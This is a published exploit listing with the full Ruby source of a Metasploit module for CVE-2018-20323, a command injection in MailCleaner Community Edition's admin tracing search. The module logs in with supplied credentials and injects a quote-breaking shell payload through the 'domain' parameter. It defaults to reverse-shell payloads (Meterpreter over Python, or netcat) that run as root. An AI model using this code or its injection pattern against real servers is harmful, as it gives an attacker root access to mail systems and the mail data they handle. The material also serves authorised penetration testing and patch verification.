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Mailcleaner Remote Code Execution

Mailcleaner Remote Code Execution
Posted Jan 8, 2019
Authored by Mehmet Ince | Site metasploit.com

This Metasploit module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root. /admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability.

tags | exploit, web, root
advisories | CVE-2018-20323
MD5 | 385bd5fbbfdc9bc89d35cc72bfbbbe12

Mailcleaner Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Mailcleaner Remote Code Execution",
'Description' => %q{
This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an
operating system command under the context of the web server user which is root.

/admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/'],
['CVE', '2018-20323']
],
'DefaultOptions' =>
{
'SSL' => true,
'WfsDelay' => 5,
},
'Platform' => ['python', 'unix'],
'Arch' => [ ARCH_PYTHON, ARCH_CMD ],
'Targets' =>
[
['Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'}
}
],
['Command payload',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {'BadChars' => "\x26"},
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'}
}
]
],
'Privileged' => false,
'DisclosureDate' => "Dec 19 2018",
'DefaultTarget' => 0
))

register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with'])
]
)
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def auth
print_status('Performing authentication...')

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin/')
})

if res && !res.get_cookies.empty?
cookie = res.get_cookies
else
fail_with(Failure::UnexpectedReply, 'Did not get cookie-set header from response.')
end

# Performing authentication
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin/'),
'cookie' => cookie,
'vars_post' => {
'username' => username,
'password' => password,
'submit' => 'Log+in'
}
})

if res && res.code == 302
print_good("Awesome..! Authenticated with #{username}:#{password}")
else
fail_with(Failure::NoAccess, 'Credentials are not valid.')
end

cookie
end

def exploit
cookie = auth

if cookie.nil?
fail_with(Failure::Unknown, 'Something went wrong!')
end

print_status('Exploiting command injection flaw')

if target['Arch'] == ARCH_PYTHON
cmd = "';$(python -c \"#{payload.encoded}\");#"
else
cmd = "';#{payload.encoded};#"
end

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'managetracing', 'search', 'search'),
'cookie' => cookie,
'vars_post' => {
'search' => rand_text_alpha(5),
'domain' => cmd,
'submit' => 1
}
})

end
end

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